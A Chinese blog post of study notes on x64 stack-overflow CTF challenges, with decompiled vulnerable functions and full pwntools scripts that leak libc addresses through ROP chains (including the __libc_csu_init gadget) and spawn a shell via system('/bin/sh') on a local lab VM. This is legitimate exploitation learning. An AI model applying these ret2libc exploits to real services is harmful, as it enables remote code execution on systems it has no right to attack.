有一段时间没写博客了,下午跟着巨佬学了点简单的栈溢出,拿其中两个例子做下笔记 ( x64

在虚拟机里用socat把程序挂起来 socat tcp-l:8233,fork exec:./challenge

查找偏移的网址:https://libc.blukat.me/

也可以使用跃哥的 https://github.com/lieanu/LibcSearcher ( 用着有点卡 Orz

0x01

第一个例子,漏洞点当然也很明显

1
2
3
4
5
6
7
8
int vulfunc()
{
  char v1; // [rsp+0h] [rbp-10h]

  puts("data:");
  gets(&v1);
  return printf("data:%s\n", &v1);
}

gets 这个地方存在溢出,但是程序中没有 /bin/sh 字符串,也没有 system , execve 等函数供我们使用,当然程序也开了NX

程序中供使用的函数主要有两个 putsgets ,这里可以使用 puts 来泄露出 libc 中 system/bin/sh 字符串的地址

因为是x64的程序,所以程序传参稍微有点不一样,因为puts仅需要一个参数,所以程序中可以很快找到一个可供使用的gadgets

首先使用puts来泄露出一个地址供查找,这里选择了泄露gets的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

io = remote('10.211.55.33', 8233)
elf = ELF('./rop4')

context.log_level = 'DEBUG'

puts_plt = p64(elf.plt['puts'])
gets_got = p64(elf.got['gets'])
pop_rdi_addr = p64(0x400773)
vuln_func_addr = p64(0x400676)

payload = 'A' * 0x10 + pop_rdi_addr*2 + gets_got + puts_plt + vuln_func_addr
io.sendlineafter('data:', payload)
gets_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\0'))
print hex(gets_addr)

然后使用 0x7f5c60278d80 这个地址去上面的网站查找一下

这样就得到了 system 函数与 /bin/sh 字符串的偏移,那么就可以得到他得地址了,因为 system 函数也只接收一个参数,所以仍然可以继续使用 pop rdi;ret ,完整的exp为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

io = remote('10.211.55.33', 8233)
elf = ELF('./rop4')

context.log_level = 'DEBUG'

puts_plt = p64(elf.plt['puts'])
gets_got = p64(elf.got['gets'])
pop_rdi_addr = p64(0x400773)
vuln_func_addr = p64(0x400676)

payload = 'A' * 0x10 + pop_rdi_addr*2 + gets_got + puts_plt + vuln_func_addr
io.sendlineafter('data:', payload)
gets_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\0'))
print hex(gets_addr)
libc_base = gets_addr - 0x06ed80
bin_sh = p64(libc_base + 0x18cd57)
system = p64(libc_base + 0x045390)
payload = 'A' * 0x10 + pop_rdi_addr*2 + bin_sh + system*2
io.sendafter('data:' , payload)
io.interactive()

0x02

这个题和上个题基本上没区别,唯一不同的地方就是 getsputs 换成了 readwrite

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "Hello, World\n", 0xDuLL);
  vulfunc();
  return 1;
}

vulfunc

1
2
3
4
5
6
ssize_t vulfunc()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

使用 man 2 write 可以发现它接收三个参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
SYNOPSIS
     #include <unistd.h>

     ssize_t
     pwrite(int fildes, const void *buf, size_t nbyte, off_t offset);

     ssize_t
     write(int fildes, const void *buf, size_t nbyte);

     #include <sys/uio.h>

     ssize_t
     writev(int fildes, const struct iovec *iov, int iovcnt);

这里的思路与上一个题一样,使用write来泄露地址,但是这里明显没有那么好用的gadgets了

但是在程序中存在比较通用的组件,一般程序中都会存在的 __libc_csu_init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
text:0000000000400700
.text:0000000000400700 loc_400700:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400700                 mov     rdx, r13
.text:0000000000400703                 mov     rsi, r14
.text:0000000000400706                 mov     edi, r15d
.text:0000000000400709                 call    qword ptr [r12+rbx*8]
.text:000000000040070D                 add     rbx, 1
.text:0000000000400711                 cmp     rbx, rbp
.text:0000000000400714                 jnz     short loc_400700
.text:0000000000400716
.text:0000000000400716 loc_400716:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400716                 add     rsp, 8
.text:000000000040071A                 pop     rbx
.text:000000000040071B                 pop     rbp
.text:000000000040071C                 pop     r12
.text:000000000040071E                 pop     r13
.text:0000000000400720                 pop     r14
.text:0000000000400722                 pop     r15
.text:0000000000400724                 retn
.text:0000000000400724 ; } // starts at 4006C0
.text:0000000000400724 __libc_csu_init endp

这里可以发现,从 000000000040071A 这个地址到 0000000000400722,可以一直控制 rbx, rbp, r12, r13, r14, r15 的值

然后在 0000000000400700 中,先将 r13 赋值给了 rdx,然后将 r14 赋值给了 rsi,再将 r15 赋值给了 edi ,虽然这里是edi,但是高位一般都是0,所以相当于这里完全控制了 rdi, rsi, rdx 三个寄存器的值,而 x64 的传参顺序则是前六个参数依次保存在 RDI,RSI,RDX,RCX,R8和 R9中,还有更多的参数才会保存在栈上

往下走会发现 call 了 [r12+rbx*8],然后给rbx+1,再判断rbx与rbp是否相等,不相等就跳回去循环,那么这里可以构造 rbx=0,rbp=1,r12=想要执行的函数地址,r15为第一个参数,r14为第二个参数,r13为第三个参数,然后继续往下会将rsp+8,然后又pop了6次,也就是 7 * 8 = 56 的长度,那么就可以开始构造rop链了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

io = remote('10.211.55.33', 8333)
elf = ELF('./rop5')

def rop(func, arg1, arg2, arg3):
    payload = ""
    payload += 'A' * (0x80 + 8)
    payload += p64(0x40071A)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func)
    payload += p64(arg3)
    payload += p64(arg2)
    payload += p64(arg1)
    payload += p64(0x400700)
    payload += 'A' * 56
    return payload

io.sendlineafter('Hello, World', rop(elf.got['write'], 0x1, elf.got['write'] ,0x8)+p64(0x400626))
write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = write_addr - 0x0f72b0
system_addr = libc_base + 0x45390
bin_sh_addr = libc_base + 0x18cd57
pop_rdi_addr = p64(0x400723)
io.sendline('A'*(0x80+8)+pop_rdi_addr+p64(bin_sh_addr)+p64(system_addr))
io.interactive()